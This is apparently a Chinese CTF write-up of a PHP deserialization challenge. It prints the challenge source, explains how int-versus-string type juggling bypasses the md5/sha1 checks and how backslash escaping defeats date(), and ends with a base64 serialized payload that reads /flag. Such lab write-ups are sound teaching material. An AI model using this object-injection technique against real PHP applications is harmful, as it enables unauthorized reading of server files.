最近一直在挖洞,想起来很久没有打过CTF了,还是做一些题目来找找手感吧。
源码
访问靶机,直接给了源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date
{
public $a;
public $b;
public $file;
public function __wakeup()
{
if (is_array($this->a) || is_array($this->b)) {
die('no array');
}
if (($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a) === sha1($this->b))) {
$content = date($this->file);
$uuid = uniqid() . '.txt';
file_put_contents($uuid, $content);
$data = preg_replace('/((\s)*(\n)+(\s)*)/i', '', file_get_contents($uuid));
echo file_get_contents($data);
} else {
die();
}
}
}
unserialize(base64_decode($_GET['code']));
分析
很明显,一道反序列化题。
__wakeup()
函数内满足以下条件即可获得flag:
- 不能用数组绕过;
- a不能强等于b,且a的md5强等于b的md5,a的sha1强等于b的sha1;
一些补充知识
date()
函数会将特定的字母转化为特定的时间表达格式;
uniqid()
函数用于生成唯一随机字符串(uuid),不传入参数时,其返回一个基于当前时间微秒数的唯一字符串,如果指定了前缀参数,则生成的字符串将以该前缀开头;
$content = date($this->file);
$uuid = uniqid() . '.txt';
file_put_contents($uuid, $content);
$data = preg_replace('/((\s)*(\n)+(\s)*)/i', '', file_get_contents($uuid));
echo file_get_contents($data);
当进入第二个if块之后,使用date()
函数对file
的内容进行处理;
然后随机生成一个uuid作为文件名,将$content
写入这个文件;
最后对文件内容进行正则替换,正则表达式含义如下:
/
:正则表达式开始符(
:开始一个子匹配组)
:结束一个子匹配组\s
:匹配任意空白字符,如space、tab等\n
:匹配换行符*
:匹配0个或多个前面的表达式+
:匹配1个或多个前面的表达式/i
:不区分大小写
综上,代码中的正则表达式作用是将文件中所有连续的空白符、换行符替换为空字符串。
总之,代码逻辑就是:
参数file
经过date()
函数转换之后,写入一个文件内,然后读取这个文件的内容,作为参数传给file_get_contents()
函数读取内容。
所以这里的file
参数就是flag的路径,但要考虑不能被date()
函数转化了,所以需要绕过date()
函数。
攻击
先来绕过md5和sha1的强等于条件,主要有以下方式:
- 原生类error绕过
- 数字型和字符型绕过
由于这里使用error_reporting(0);
关闭了所有报错信息,所以原生类error绕过不可用,考虑使用数字型和字符型绕过。
举个例子
$a = 1;
$b = '1';
echo ($a !== $b)."\n";
echo (md5($a) === md5($b))."\n";
echo (sha1($a) === sha1($b))."\n";
输出如下:
接着绕过date()
函数,其方法就是在每个字符前添加反斜杠来防止转义,举个例子:
$a = "/flag";
$b = "/\\f\l\a\g";
echo (date($a))."\n";
echo (date($b))."\n";
输出如下:
综上所述,构造如下:
class date
{
public $a = 1;
public $b = '1';
public $file = "/\\f\l\a\g";
}
$a = new date;
echo base64_encode(serialize($a));
运行之后得到payload:Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjk6Ii9cZlxsXGFcZyI7fQ==